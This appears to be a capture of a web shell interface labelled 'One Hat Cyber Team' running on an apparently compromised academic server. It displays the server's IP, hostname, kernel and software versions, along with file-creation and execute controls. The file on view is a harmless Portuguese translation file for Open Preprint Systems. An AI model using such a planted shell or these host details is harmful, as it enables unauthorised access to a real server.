One Hat Cyber Team
Your IP :
216.73.216.115
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
ops
/
locale
/
pt_PT
/
View File Name :
default.po
msgid "" msgstr "" "PO-Revision-Date: 2020-12-24 14:52+0000\n" "Last-Translator: Carla Marques <carla.marques@usdb.uminho.pt>\n" "Language-Team: Portuguese (Portugal) <http://translate.pkp.sfu.ca/projects/" "ops/default/pt_PT/>\n" "Language: pt_PT\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n > 1;\n" "X-Generator: Weblate 3.9.1\n" msgid "default.contextSettings.forReaders" msgstr "" "Encorajamos os leitores a registar-se no serviço de notificação de " "publicação deste servidor. Utilize o link <a href=\"" "{$indexUrl}/{$contextPath}/user/register\">Registar</a> na parte superior da " "página de início. Esta lista também permite ao servidor reivindicar um certo " "nível de suporte ou leitores. Consulte a <a href=\"" "{$indexUrl}/{$contextPath}/about/submissions#privacyStatement\">Política de " "Privacidade</a>, que garante aos leitores que o seu nome e e-mail não serão " "utilizados para outras finalidades." msgid "default.contextSettings.checklist.bibliographicRequirements" msgstr "" "O texto cumpre as normas estilísticas e bibliográficas referidas nas " "Instruções aos Autores." msgid "default.contextSettings.checklist.submissionAppearance" msgstr "" "O texto foi formatado em espaço simples; com fonte a 12 pontos; adota " "itálicos, em vez de sublinhados (exceto para endereços URL); e todas as " "ilustrações, figuras, e tabelas encontram-se no correto local no texto, e " "não todas no final." msgid "default.contextSettings.checklist.addressesLinked" msgstr "Foram inseridos os URLs das referências, quando disponíveis." msgid "default.contextSettings.checklist.fileFormat" msgstr "" "O ficheiro da submissão encontra-se em formato OpenOffice, Microsoft Word ou " "RTF." msgid "default.contextSettings.checklist.notPreviouslyPublished" msgstr "A submissão não foi previamente publicada." msgid "default.genres.article" msgstr "Texto de preprint" msgid "section.default.abbrev" msgstr "PRE" msgid "section.default.title" msgstr "Pré-prints" msgid "default.contextSettings.emailSignature" msgstr "" "<br/" ">________________________________________________________________________<br/" "><a href=\"{$contextUrl}\">{$contextName}</a>" msgid "default.genres.sourceTexts" msgstr "Textos fonte" msgid "default.genres.dataSet" msgstr "Conjunto de Dados" msgid "default.genres.dataAnalysis" msgstr "Análise de Dados" msgid "default.genres.transcripts" msgstr "Transcrições" msgid "default.genres.researchResults" msgstr "Resultados de Investigação" msgid "default.genres.researchMaterials" msgstr "Materiais de Investigação" msgid "default.genres.researchInstrument" msgstr "Instrumento de Pesquisa" msgid "default.groups.abbrev.sectionEditor" msgstr "MOD" msgid "default.groups.plural.sectionEditor" msgstr "Moderadores" msgid "default.groups.name.sectionEditor" msgstr "Moderador" msgid "default.groups.abbrev.manager" msgstr "GSP" msgid "default.groups.plural.manager" msgstr "Gestores de servidor pré-prints" msgid "default.groups.name.manager" msgstr "Gestor de servidor de pré-prints" msgid "default.contextSettings.openAccessPolicy" msgstr "" "Este servidor fornece acesso aberto imediato ao seu conteúdo seguindo o " "princípio de que tornar a investigação disponível apoia uma maior troca de " "conhecimento global." msgid "default.contextSettings.privacyStatement" msgstr "" "<p>Os nomes e endereços de e-mail inseridos neste servidor serão usados " "exclusivamente para os propósitos do servidor e não serão disponibilizados " "para nenhum outro propósito ou cedidos a terceiros.</p>" #, fuzzy msgid "default.contextSettings.forLibrarians" msgstr "" "Encorajamos bibliotecários de investigação a listar este servidor nos seus " "catálogos. Além disso, vale a pena assinalar que este sistema de publicação " "de código aberto é adequado para as bibliotecas oferecerem aos seus " "investigadores (veja <a href=\"http://pkp.sfu.ca\">Public Knowledge " "Project</a>)." msgid "default.contextSettings.forAuthors" msgstr "" "Interessado em submeter a este servidor? Recomendamos que reveja a página de " "<a href=\"{$indexUrl}/{$contextPath}/about\">Sobre</a> para saber mais sobre " "as políticas, bem como as <a href=\"{$indexUrl}/{$contextPath}/about/" "submissions#authorGuidelines\">Instruções aos Autores</a>. Os autores têm de " "<a href=\"{$indexUrl}/{$contextPath}/user/register\">registar-se</a> antes de " "submeter ou, se já estiver registado, pode simplesmente <a href=\"" "{$indexUrl}/index/login\">entrar no sistema</a> e iniciar o processo." msgid "section.default.policy" msgstr "Política padrão da secção" msgid "section.default.path" msgstr "pré-prints"